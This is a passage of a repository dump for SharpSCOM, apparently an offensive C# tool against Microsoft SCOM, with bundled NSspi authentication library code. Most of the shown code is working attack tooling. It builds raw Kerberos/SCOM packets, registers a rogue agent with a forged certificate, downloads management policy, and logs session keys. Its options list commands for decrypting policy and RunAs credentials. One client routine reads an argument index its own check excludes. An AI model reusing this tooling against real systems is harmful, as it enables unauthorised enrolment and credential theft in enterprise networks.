14 | byte[] scom_ap_req_1_header = { 0x7e, 0x4d, 0x4f, 0x4d, 0x07, 0x00, 0x01, 0x7d, 0x1c, 0x01, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xf0, 0x23, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 };
15 | byte[] scom_ap_req_2_header = { 0x04, 0xe4, 0xf4, 0x9f }; //static value
16 |
17 | // Calculate first size value
18 | byte[] scom_sspi_bytes_1_size = BitConverter.GetBytes(clientToken.Length + 8);
19 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_1: {BitConverter.ToString(scom_sspi_bytes_1_size)}");
20 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_1: {clientToken.Length + 8}");
21 |
22 | // Calculate second size value
23 | byte[] scom_sspi_bytes_2_size = BitConverter.GetBytes(clientToken.Length);
24 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_2: {BitConverter.ToString(scom_sspi_bytes_2_size)}");
25 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_2: {clientToken.Length}");
26 |
27 | // Create packet
28 | byte[] combinedArray = scom_ap_req_1_header.Concat(scom_sspi_bytes_1_size)
29 | .Concat(scom_ap_req_2_header)
30 | .Concat(scom_sspi_bytes_2_size)
31 | .Concat(clientToken)
32 | .ToArray();
33 |
34 | //Console.WriteLine($"[REMOTE CLIENT]: scom_payload: {BitConverter.ToString(combinedArray)}");
35 |
36 | return combinedArray;
37 | }
38 |
39 | public static byte[] GenerateApRep(byte[] clientToken)
40 | {
41 | // SCOM headers
42 | byte[] scom_ap_rep_1_header = { 0x7e, 0x4d, 0x4f, 0x4d, 0x07, 0x00, 0x01, 0x71, 0x00, 0x00, 0x00, 0x00, 0x04, 0xe4, 0xf4, 0x9f }; //static value
43 |
44 | // Calculate size value
45 | byte[] scom_sspi_bytes_size = BitConverter.GetBytes(clientToken.Length);
46 | //Console.WriteLine($"SERVER DEBUG MESSAGE 1: scom_sspi_bytes_size: {BitConverter.ToString(scom_sspi_bytes_size)}");
47 |
48 | // Create packet
49 | byte[] combinedArray = scom_ap_rep_1_header.Concat(scom_sspi_bytes_size)
50 | .Concat(clientToken)
51 | .ToArray();
52 |
53 | //Console.WriteLine($"CLIENT DEBUG MESSAGE 1: scom_payload: {BitConverter.ToString(combinedArray)}");
54 |
55 | return combinedArray;
56 | }
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/SharpSCOM/Auth/ClientContextManager.cs:
--------------------------------------------------------------------------------
1 | using SharpSCOM.Agent;
2 | using SharpSCOM.Message;
3 | using System;
4 | using System.Collections.Generic;
5 | using System.Linq;
6 | using System.Net.Sockets;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using NSspi;
10 | using NSspi.Contexts;
11 | using NSspi.Credentials;
12 | using SharpSCOM.Common;
13 |
14 | namespace SharpSCOM.Auth
15 | {
16 | class ClientContextManager
17 | {
18 | private static ILogger logger => LoggerFactory.Logger;
19 | private readonly ClientCurrentCredential _credential;
20 | private ClientContext _context;
21 |
22 | public ClientContextManager()
23 | {
24 | _credential = new ClientCurrentCredential(PackageNames.Kerberos);
25 | }
26 |
27 | public ClientContext CreateContext(string remoteServer)
28 | {
29 | _context = new ClientContext(
30 | _credential,
31 | $"{Constants.KERBEROS_SPN}/{remoteServer}",
32 | ContextAttrib.MutualAuth |
33 | ContextAttrib.InitIdentify |
34 | ContextAttrib.Confidentiality |
35 | ContextAttrib.ReplayDetect |
36 | ContextAttrib.SequenceDetect |
37 | ContextAttrib.Connection |
38 | ContextAttrib.Delegate
39 | );
40 |
41 | return _context;
42 | }
43 |
44 | public ClientContext ProcessInitialRequest(NetworkStream stream, string remoteServer)
45 | {
46 | byte[] clientToken;
47 | SecurityStatus status = _context.Init(null, out clientToken);
48 |
49 | byte[] apReq = KerberosMessageGenerator.GenerateApReq(clientToken);
50 | stream.Write(apReq, 0, apReq.Length);
51 | stream.Flush();
52 |
53 | byte[] serverToken = KerberosMessageParser.ParseApRep(stream);
54 |
55 | while (true)
56 | {
57 | status = _context.Init(serverToken, out clientToken);
58 | if (status != SecurityStatus.ContinueNeeded) break;
59 | }
60 |
61 | logger.Info("Authentication successful!");
62 | logger.Info($"Client authority: {_context.AuthorityName}");
63 | logger.Info($"Client context user: {_context.ContextUserName}");
64 | logger.Info($"Client session key: {BitConverter.ToString(_context.QuerySessionKey())}");
65 |
66 | return _context;
67 | }
68 |
69 | public byte[] EncryptWrapToken(byte[] plaintext)
70 | {
71 | byte[] ciphertext = KerberosMessageParser.SwapBytes(_context.Encrypt(plaintext));
72 |
73 | logger.Info($"[AGENT >>>>>> SCOM] [ENCRYPT] plaintext wrap token (base64): {Convert.ToBase64String(plaintext)}");
74 | logger.Info($"[AGENT >>>>>> SCOM] [ENCRYPT] zlib decompressed wrap token (base64): {Convert.ToBase64String(KerberosMessageParser.ParseDecWrapToken(plaintext))}");
75 |
76 | return ciphertext;
77 |
78 | }
79 |
80 | public byte[] DecryptWrapToken(NetworkStream stream)
81 | {
82 | byte[] wrapToken = KerberosMessageParser.ParseKerbWrapToken(stream);
83 | byte[] plaintext = _context.Decrypt(KerberosMessageParser.SwapBytes(wrapToken));
84 |
85 | try
86 | {
87 | logger.Info($"[AGENT <<<<<<<<< SCOM] [DECRYPT] plaintext wrap token (base64): {Convert.ToBase64String(plaintext)}");
88 | logger.Info($"[AGENT <<<<<<<<< SCOM] [DECRYPT] zlib decompressed wrap token (base64): {Convert.ToBase64String(KerberosMessageParser.ParseDecWrapToken(plaintext))}");
89 |
90 | logger.Debug($"[SERVER <<<<<<<<< SCOM] [DECRYPT] decompressed kerb wrap token zlib: {BitConverter.ToString(KerberosMessageParser.ParseDecWrapToken(plaintext))}");
91 | logger.Debug($"[SERVER <<<<<<<<< SCOM] [DECRYPT] decompressed kerb wrap token zlib unicode: {Encoding.Unicode.GetString(KerberosMessageParser.ParseDecWrapToken(plaintext))}");
92 | }
93 | catch (Exception e)
94 | {
95 | logger.Error($"[DECRYPT] Could not decompress: {e.Message}");
96 | }
97 |
98 | return plaintext;
99 | }
100 | }
101 | }
102 |
--------------------------------------------------------------------------------
/SharpSCOM/SharpSCOM.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}
8 | Exe
9 | SharpSCOM
10 | SharpSCOM
11 | v4.7.2
12 | 512
13 | true
14 | true
15 | true
16 |
17 |
18 | AnyCPU
19 | true
20 | full
21 | false
22 | bin\Debug\
23 | DEBUG;TRACE
24 | prompt
25 | 4
26 |
27 |
28 | AnyCPU
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 | {ce4eeaac-be2e-556f-4f32-f2fe552817cf}
87 | NSspi
88 |
89 |
90 |
91 |
--------------------------------------------------------------------------------
/SCOMClient/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.IO.Pipes;
5 | using System.Linq;
6 | using System.Net.Sockets;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using NSspi;
10 | using NSspi.Contexts;
11 | using NSspi.Credentials;
12 |
13 | namespace SCOMClient
14 | {
15 | class Program
16 | {
17 | private static bool ValidateClientArgs(string[] args, out string remoteServer, out int remotePort, out string mode)
18 | {
19 | remoteServer = null;
20 | remotePort = 0;
21 | mode = "";
22 |
23 | if (args.Length != 2)
24 | return false;
25 |
26 | remoteServer = args[0];
27 |
28 | if (!int.TryParse(args[1], out remotePort) || remotePort < 1 || remotePort > 65535)
29 | return false;
30 |
31 | mode = args[2];
32 |
33 | return true;
34 | }
35 |
36 | static void Main(string[] args)
37 | {
38 | if (!ValidateClientArgs(args, out string remoteServer, out int remotePort, out string mode))
39 | {
40 | Console.WriteLine("[!] Usage: SCOMClient ");
41 | return;
42 | }
43 |
44 | Console.WriteLine($"[+] Connecting to remote host {remoteServer} on port {remotePort}");
45 |
46 | var clientManager = new ClientContextManager();
47 |
48 | while (true) // Main loop to accept new clients
49 | {
50 | // Client-side initial authentication
51 | using (TcpClient remoteClient = new TcpClient(remoteServer, remotePort))
52 | using (NetworkStream remoteStream = remoteClient.GetStream())
53 | {
54 | ClientContext clientContext = clientManager.CreateContext(remoteServer);
55 | clientContext = clientManager.ProcessInitialRequest(remoteStream, remoteServer);
56 |
57 | while (remoteClient.Connected)
58 | {
59 | try
60 | {
61 | int bufSize = 20000;
62 | Stream inStream = Console.OpenStandardInput(bufSize);
63 | Console.SetIn(new StreamReader(inStream, Console.InputEncoding, false, bufSize));
64 |
65 | byte[] clientPlaintext = null;
66 |
67 | if (mode == "zlib")
68 | {
69 | Console.WriteLine("[+] Waiting for zlib base64-encoded client data:");
70 | string base64Input = Console.ReadLine();
71 | clientPlaintext = Convert.FromBase64String(base64Input.Trim());
72 |
73 | }
74 | else
75 | {
76 | Console.WriteLine("[+] Waiting for plaintext base64-encoded client data:");
77 | string base64Input = Console.ReadLine();
78 | clientPlaintext = Convert.FromBase64String(base64Input.Trim());
79 | Console.WriteLine($"[+] Got input data as: {BitConverter.ToString(clientPlaintext)}");
80 | }
81 |
82 | // client -> remote server (re-encrypt client data and send to remote server)
83 | byte[] swappedCipher = clientManager.EncryptWrapToken(clientPlaintext);
84 | remoteStream.Write(swappedCipher, 0, swappedCipher.Length);
85 | remoteStream.Flush();
86 |
87 | // client <- remote server
88 | byte[] responseMessage = clientManager.DecryptWrapToken(remoteStream);
89 | if (responseMessage == null) break;
90 |
91 | }
92 | catch (Exception e)
93 | {
94 | Console.WriteLine($"[!] ERROR in message forwarding: {e.Message}");
95 | break;
96 | }
97 | }
98 | }
99 | Console.WriteLine("\t[SERVER]: Client connection closed");
100 | }
101 | }
102 | }
103 | }
104 |
--------------------------------------------------------------------------------
/SharpSCOM/Commands/AutoEnrol.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Threading;
3 | using SharpSCOM.Agent;
4 | using SharpSCOM.Certificate;
5 | using SharpSCOM.Cmdline;
6 | using SharpSCOM.Common;
7 | using SharpSCOM.Auth;
8 | using System.Linq;
9 |
10 | namespace SharpSCOM.Commands
11 | {
12 | public class AutoEnrol : BaseCommand
13 | {
14 | public static string CommandName => "AutoEnrol";
15 |
16 | public override void Execute(Options.Arguments arguments)
17 | {
18 | logger.Info("Preparing to send multi-part agent message...");
19 |
20 | using (var scomClient = new SSPIMessageGenerator(arguments.Server, arguments.Port))
21 | {
22 | // Connect and authenticate
23 | if (!scomClient.Connect())
24 | {
25 | logger.Error("Failed to connect to server");
26 | return;
27 | }
28 |
29 | var multi = new MultiMessageGenerator(arguments.Hostname, arguments.ManagementGroup);
30 | var single = new MessageGenerator(arguments.Hostname, arguments.ManagementGroup);
31 |
32 | // Step 1: Generate agent registration payload
33 | logger.Info("Generating agent registration message");
34 | byte[] agent = multi.GenerateAgentRegisterPayload(1);
35 |
36 | // Step 2: Generate certificate
37 | logger.Info("Generating agent certificate message");
38 | var generator = new AgentCertificateGenerator(arguments.Hostname);
39 | generator.PrintDetails();
40 |
41 | byte[] cert = multi.GenerateCertificatePayload(generator.MultiPartSerializedCertificate, 1);
42 |
43 | // Step 3: Generate policy request
44 | logger.Info("Generating agent policy request");
45 | byte[] policy = multi.GeneratePolicyRequestPayload(1);
46 |
47 | // Combine all messages
48 | byte[] innerPayload = agent.Concat(cert).Concat(policy).ToArray();
49 |
50 | // Add SCOM headers
51 | byte[] innerPayload_with_header = multi.TopGenerateMOMInnerHeader(innerPayload, 1, multi.agentRegisterCommand);
52 | byte[] outerPayload = multi.GenerateMOMOuterHeader(innerPayload_with_header);
53 |
54 | // Send combined request
55 | logger.Info("Sending multi-part agent message...");
56 | byte[] response = scomClient.SendMessage(outerPayload);
57 |
58 | if (response != null)
59 | {
60 | logger.Info("Server registration response received");
61 | }
62 | else
63 | {
64 | logger.Error("No response from server");
65 | return;
66 | }
67 |
68 | byte[] zlib_response = KerberosMessageParser.ParseDecWrapToken(response);
69 |
70 | // Download policy
71 | logger.Info("Generating policy download message");
72 | byte[] downloadPayload = single.GeneratePolicyDownloadPayload(zlib_response, 2);
73 | response = scomClient.SendMessage(downloadPayload);
74 |
75 | // Check if we got the policy
76 | if (response != null && response.Length > 500)
77 | {
78 | logger.Info("Policy file received from server");
79 | }
80 | else
81 | {
82 | logger.Info("Policy XML not ready, waiting 120 seconds...");
83 | Thread.Sleep(TimeSpan.FromSeconds(120));
84 |
85 | zlib_response = KerberosMessageParser.ParseDecWrapToken(response);
86 | logger.Info("Generating policy download message");
87 | downloadPayload = single.GeneratePolicyDownloadPayload(zlib_response, 3);
88 | response = scomClient.SendMessage(downloadPayload);
89 | }
90 |
91 | byte[] policy_response = KerberosMessageParser.ParseDecWrapToken(response);
92 |
93 | if (!string.IsNullOrEmpty(arguments.Outfile))
94 | {
95 | DataHandler.WritePolicyToDisk(policy_response, arguments.Outfile);
96 | }
97 | else
98 | {
99 | logger.Info($"Policy received: {policy_response.Length} bytes");
100 | }
101 |
102 | logger.Info("Completed");
103 | }
104 | }
105 | }
106 | }
--------------------------------------------------------------------------------
/SharpSCOM/Commands/AutoEnroll.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Threading;
3 | using SharpSCOM.Agent;
4 | using SharpSCOM.Certificate;
5 | using SharpSCOM.Cmdline;
6 | using SharpSCOM.Common;
7 | using SharpSCOM.Auth;
8 | using System.Linq;
9 |
10 | namespace SharpSCOM.Commands
11 | {
12 | public class AutoEnroll : BaseCommand
13 | {
14 | public static string CommandName => "AutoEnroll";
15 |
16 | public override void Execute(Options.Arguments arguments)
17 | {
18 | logger.Info("Preparing to send multi-part agent message...");
19 |
20 | using (var scomClient = new SSPIMessageGenerator(arguments.Server, arguments.Port))
21 | {
22 | // Connect and authenticate
23 | if (!scomClient.Connect())
24 | {
25 | logger.Error("Failed to connect to server");
26 | return;
27 | }
28 |
29 | var multi = new MultiMessageGenerator(arguments.Hostname, arguments.ManagementGroup);
30 | var single = new MessageGenerator(arguments.Hostname, arguments.ManagementGroup);
31 |
32 | // Step 1: Generate agent registration payload
33 | logger.Info("Generating agent registration message");
34 | byte[] agent = multi.GenerateAgentRegisterPayload(1);
35 |
36 | // Step 2: Generate certificate
37 | logger.Info("Generating agent certificate message");
38 | var generator = new AgentCertificateGenerator(arguments.Hostname);
39 | generator.PrintDetails();
40 |
41 | byte[] cert = multi.GenerateCertificatePayload(generator.MultiPartSerializedCertificate, 1);
42 |
43 | // Step 3: Generate policy request
44 | logger.Info("Generating agent policy request");
45 | byte[] policy = multi.GeneratePolicyRequestPayload(1);
46 |
47 | // Combine all messages
48 | byte[] innerPayload = agent.Concat(cert).Concat(policy).ToArray();
49 |
50 | // Add SCOM headers
51 | byte[] innerPayload_with_header = multi.TopGenerateMOMInnerHeader(innerPayload, 1, multi.agentRegisterCommand);
52 | byte[] outerPayload = multi.GenerateMOMOuterHeader(innerPayload_with_header);
53 |
54 | // Send combined request
55 | logger.Info("Sending multi-part agent message...");
56 | byte[] response = scomClient.SendMessage(outerPayload);
57 |
58 | if (response != null)
59 | {
60 | logger.Info("Server registration response received");
61 | }
62 | else
63 | {
64 | logger.Error("No response from server");
65 | return;
66 | }
67 |
68 | byte[] zlib_response = KerberosMessageParser.ParseDecWrapToken(response);
69 |
70 | // Download policy
71 | logger.Info("Generating policy download message");
72 | byte[] downloadPayload = single.GeneratePolicyDownloadPayload(zlib_response, 2);
73 | response = scomClient.SendMessage(downloadPayload);
74 |
75 | // Check if we got the policy
76 | if (response != null && response.Length > 500)
77 | {
78 | logger.Info("Policy file received from server");
79 | }
80 | else
81 | {
82 | logger.Info("Policy XML not ready, waiting 120 seconds...");
83 | Thread.Sleep(TimeSpan.FromSeconds(120));
84 |
85 | zlib_response = KerberosMessageParser.ParseDecWrapToken(response);
86 | logger.Info("Generating policy download message");
87 | downloadPayload = single.GeneratePolicyDownloadPayload(zlib_response, 3);
88 | response = scomClient.SendMessage(downloadPayload);
89 | }
90 |
91 | byte[] policy_response = KerberosMessageParser.ParseDecWrapToken(response);
92 |
93 | if (!string.IsNullOrEmpty(arguments.Outfile))
94 | {
95 | DataHandler.WritePolicyToDisk(policy_response, arguments.Outfile);
96 | }
97 | else
98 | {
99 | logger.Info($"Policy received: {policy_response.Length} bytes");
100 | }
101 |
102 | logger.Info("Completed");
103 | }
104 | }
105 | }
106 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/PackageSupport.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | namespace NSspi
6 | {
7 | ///
8 | /// Queries information about security packages.
9 | ///
10 | public static class PackageSupport
11 | {
12 | ///
13 | /// Returns the properties of the named package.
14 | ///
15 | /// The name of the package.
16 | ///
17 | public static SecPkgInfo GetPackageCapabilities( string packageName )
18 | {
19 | SecPkgInfo info;
20 | SecurityStatus status = SecurityStatus.InternalError;
21 |
22 | IntPtr rawInfoPtr;
23 |
24 | rawInfoPtr = new IntPtr();
25 | info = new SecPkgInfo();
26 |
27 | RuntimeHelpers.PrepareConstrainedRegions();
28 | try
29 | { }
30 | finally
31 | {
32 | status = NativeMethods.QuerySecurityPackageInfo( packageName, ref rawInfoPtr );
33 |
34 | if( rawInfoPtr != IntPtr.Zero )
35 | {
36 | try
37 | {
38 | if( status == SecurityStatus.OK )
39 | {
40 | // This performs allocations as it makes room for the strings contained in the SecPkgInfo class.
41 | Marshal.PtrToStructure( rawInfoPtr, info );
42 | }
43 | }
44 | finally
45 | {
46 | NativeMethods.FreeContextBuffer( rawInfoPtr );
47 | }
48 | }
49 | }
50 |
51 | if( status != SecurityStatus.OK )
52 | {
53 | throw new SSPIException( "Failed to query security package provider details", status );
54 | }
55 |
56 | return info;
57 | }
58 |
59 | ///
60 | /// Returns a list of all known security package providers and their properties.
61 | ///
62 | ///
63 | public static SecPkgInfo[] EnumeratePackages()
64 | {
65 | SecurityStatus status = SecurityStatus.InternalError;
66 | SecPkgInfo[] packages = null;
67 | IntPtr pkgArrayPtr;
68 | IntPtr pkgPtr;
69 | int numPackages = 0;
70 | int pkgSize = Marshal.SizeOf( typeof( SecPkgInfo ) );
71 |
72 | pkgArrayPtr = new IntPtr();
73 |
74 | RuntimeHelpers.PrepareConstrainedRegions();
75 | try { }
76 | finally
77 | {
78 | status = NativeMethods.EnumerateSecurityPackages( ref numPackages, ref pkgArrayPtr );
79 |
80 | if( pkgArrayPtr != IntPtr.Zero )
81 | {
82 | try
83 | {
84 | if( status == SecurityStatus.OK )
85 | {
86 | // Bwooop Bwooop Alocation Alert
87 | // 1) We allocate the array
88 | // 2) We allocate the individual elements in the array (they're class objects).
89 | // 3) We allocate the strings in the individual elements in the array when we
90 | // call Marshal.PtrToStructure()
91 |
92 | packages = new SecPkgInfo[numPackages];
93 |
94 | for( int i = 0; i < numPackages; i++ )
95 | {
96 | packages[i] = new SecPkgInfo();
97 | }
98 |
99 | for( int i = 0; i < numPackages; i++ )
100 | {
101 | pkgPtr = IntPtr.Add( pkgArrayPtr, i * pkgSize );
102 |
103 | Marshal.PtrToStructure( pkgPtr, packages[i] );
104 | }
105 | }
106 | }
107 | finally
108 | {
109 | NativeMethods.FreeContextBuffer( pkgArrayPtr );
110 | }
111 | }
112 | }
113 |
114 | if( status != SecurityStatus.OK )
115 | {
116 | throw new SSPIException( "Failed to enumerate security package providers", status );
117 | }
118 |
119 | return packages;
120 | }
121 | }
122 | }
--------------------------------------------------------------------------------
/nsspi/readme.md:
--------------------------------------------------------------------------------
1 | ## Downloads ##
2 |
3 | The latest release of NSspi is v0.3.1, released 5-Aug-2019.
4 |
5 | Version 0.3.1 adds support to obtain an IIdentity/WindowsPrinciple representing the remote connection. This is useful for servers that wish to query the properties on the principle, such as claims.
6 |
7 | * [Source](https://github.com/antiduh/nsspi/archive/0.3.1.zip)
8 | * [Nuget package](https://www.nuget.org/packages/NSspi)
9 |
10 | You can also browse the list of [releases](https://github.com/antiduh/nsspi/releases).
11 |
12 |
13 |
14 | ## Introduction ##
15 | This project provides a C# / .Net interface to the Windows Integrated Authentication API, better known as SSPI (Security Service Provider Interface). This allows a custom client / server system to authenticate users using their existing logon credentials. This allows a developer to provide Single-Sign-On in their application.
16 |
17 | ## Overview ##
18 | The API provides raw access to authentication tokens so that authentication can be easily integrated into any networking system - you can send the tokens over a socket, a remoting interface, or heck even a serial port if you want; they're just bytes. Clients and servers may exchange encrypted and signed messages, and the server can perform client impersonation.
19 |
20 | The project is provided as a .Net 4.0 assembly, but can just as easily be upgraded to .Net 4.5 or later. The solution file can be opened by Visual Studio 2010 SP1, Visual Studio 2012, or later Visual Studio editions.
21 |
22 | The SSPI API provides an interface for real authentication protocols, such as Kerberos or NTLM, to be invoked transparently by client and server code in order to perform authentication and message manipulation. These authentication protocols are better known as 'security packages'.
23 |
24 | The SSPI API exposes these packages using a common API, and so a program may invoke one or the other with only minor changes in implementation. SSPI also supports the 'negotiate' 'meta' package, that allows a client and server to decide dynamically which real security provider to use, and then itself provides a passthrough interface to the real package.
25 |
26 | ## Usage ##
27 |
28 | Typically, a client acquires some form of a credential, either from the currently logged on user's security context, by acquiring a username and password from the user, or by some other means. The server acquires a credential in a similar manner. Each uses their credentials to identify themselves to each other.
29 |
30 | A client and a server each start with uninitialized security contexts. They exchange negotiation and authentication tokens to perform authentication, and if all succeeds, they create a shared security context in the form of a client's context and a server's context. The effectively shared context agrees on the security package to use (kerberos, NTLM), and what parameters to use for message passing. Every new client that authenticates with a server creates a new security context specific to that client-server pairing.
31 |
32 | From the software perspective, a client security context initializes itself by exchanging authentication tokens with a server; the server initializes itself by exchanging authentication tokens with the client.
33 |
34 | This API provides raw access to the authentication tokens created during the negotiation and authentication process. In this manner, any application can integrate SSPI-based authentication by deciding for themselves how to integrate the tokens into their application protocol.
35 |
36 | The project is broken up into 3 chunks:
37 |
38 | * The NSspi library, which provides safe, managed access to the SSPI API.
39 | * NsspiDemo, a quick demo program to show how to exercise the features of NSspi locally.
40 | * UI demo programs TestClient and TestServer (that have a common dependency on TestProtocol) that
41 | may be run on separate machines, that show how one might integrate SSPI into a custom
42 | application.
43 |
44 | ## More information ##
45 |
46 | If you would like to understand the SSPI API, feel free to browse the following references:
47 |
48 | MSDN documentation on the SSPI API:
49 | [http://msdn.microsoft.com/en-us/library/windows/desktop/aa374731(v=vs.85).aspx](http://msdn.microsoft.com/en-us/library/windows/desktop/aa374731\(v=vs.85\).aspx)
50 |
51 | MSDN article on SSPI along with a sample Managed C++ SSPI library and UI client/servers.
52 | [http://msdn.microsoft.com/en-us/library/ms973911.aspx](http://msdn.microsoft.com/en-us/library/ms973911.aspx)
53 |
54 | Relevant StackOverflow questions:
55 |
56 | * [Client-server authentication - using SSPI?](http://stackoverflow.com/questions/17241365/)
57 | * [Validate Windows Identity Token](http://stackoverflow.com/questions/11238141/)
58 | * [How to deal with allocations in constrained execution regions?](http://stackoverflow.com/questions/24442209/)
59 | * [AcquireCredentialsHandle returns massive expiration time](http://stackoverflow.com/questions/24478056/)
60 |
--------------------------------------------------------------------------------
/SharpSCOM/Cmdline/Options.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace SharpSCOM.Cmdline
8 | {
9 | public class Options
10 | {
11 | public class Arguments
12 | {
13 | public bool Help = false;
14 | public bool Verbose { get; set; } = false;
15 | public string Hostname { get; set; } = string.Empty;
16 | public string ManagementGroup { get; set; } = string.Empty;
17 | public string Server { get; set; } = string.Empty;
18 | public int Port { get; set; } = 5723;
19 | public string Data { get; set; } = string.Empty;
20 | public string Machine { get; set; } = string.Empty;
21 | public string Type { get; set; } = string.Empty;
22 | public string Outfile { get; set; } = string.Empty;
23 | public string Key { get; set; } = string.Empty;
24 | }
25 |
26 | // Define required arguments for each command
27 | private static readonly Dictionary requiredArgsByCommand = new Dictionary(StringComparer.OrdinalIgnoreCase)
28 | {
29 | { "RegisterAgent", new[] { "/managementgroup", "/server" } },
30 | { "RegisterCertificate", new[] { "/managementgroup", "/server" } },
31 | { "RequestPolicy", new[] { "/managementgroup", "/server" } },
32 | { "DownloadPolicy", new[] { "/managementgroup", "/server" } },
33 | { "DecryptPolicy", new[] { "/data" } },
34 | { "DecryptRunAs", new[] { "" } },
35 | { "AutoEnroll", new[] { "/managementgroup", "/server" } },
36 | };
37 |
38 | public static bool ValidateRequiredArgs(string command, Dictionary parsedArgs)
39 | {
40 | // Check if the command has defined required arguments
41 | if (requiredArgsByCommand.TryGetValue(command, out var requiredArgs))
42 | {
43 | // If no arguments are required, return true
44 | if (requiredArgs.Length == 0 || (requiredArgs.Length == 1 && string.IsNullOrEmpty(requiredArgs[0])))
45 | {
46 | return true;
47 | }
48 |
49 | // Validate that each required argument is provided
50 | foreach (var reqArg in requiredArgs)
51 | {
52 | if (!parsedArgs.ContainsKey(reqArg))
53 | {
54 | Console.WriteLine($"[!] Missing required argument '{reqArg}' for command '{command}'.");
55 | return false;
56 | }
57 | }
58 | }
59 | else
60 | {
61 | Console.WriteLine($"[!] Unknown command '{command}'.");
62 | return false;
63 | }
64 | return true;
65 | }
66 |
67 |
68 | public static Dictionary ParseArgs(string[] args)
69 | {
70 | var parsedArgs = new Dictionary(StringComparer.OrdinalIgnoreCase);
71 |
72 | foreach (var arg in args)
73 | {
74 | string[] parts = arg.Split(new[] { ':' }, 2);
75 | string key = parts[0].ToLower();
76 | string value = parts.Length > 1 ? parts[1].Trim('"') : "true"; // boolean flags default to true
77 | parsedArgs[key] = value;
78 | }
79 |
80 | return parsedArgs;
81 | }
82 |
83 | public static Arguments ArgumentValues(Dictionary parsedArgs)
84 | {
85 | var arguments = new Arguments();
86 |
87 | foreach (var kvp in parsedArgs)
88 | {
89 | switch (kvp.Key)
90 | {
91 | case "/hostname":
92 | arguments.Hostname = kvp.Value;
93 | break;
94 | case "/managementgroup":
95 | arguments.ManagementGroup = kvp.Value;
96 | break;
97 | case "/server":
98 | arguments.Server = kvp.Value;
99 | break;
100 | case "/data":
101 | arguments.Data = kvp.Value;
102 | break;
103 | case "/key":
104 | arguments.Key = kvp.Value;
105 | break;
106 | case "/outfile":
107 | arguments.Outfile = kvp.Value;
108 | break;
109 | case "/verbose":
110 | arguments.Verbose = Convert.ToBoolean(kvp.Value);
111 | break;
112 | case "/help":
113 | arguments.Help = true;
114 | Info.ShowUsage();
115 | return null;
116 | }
117 | }
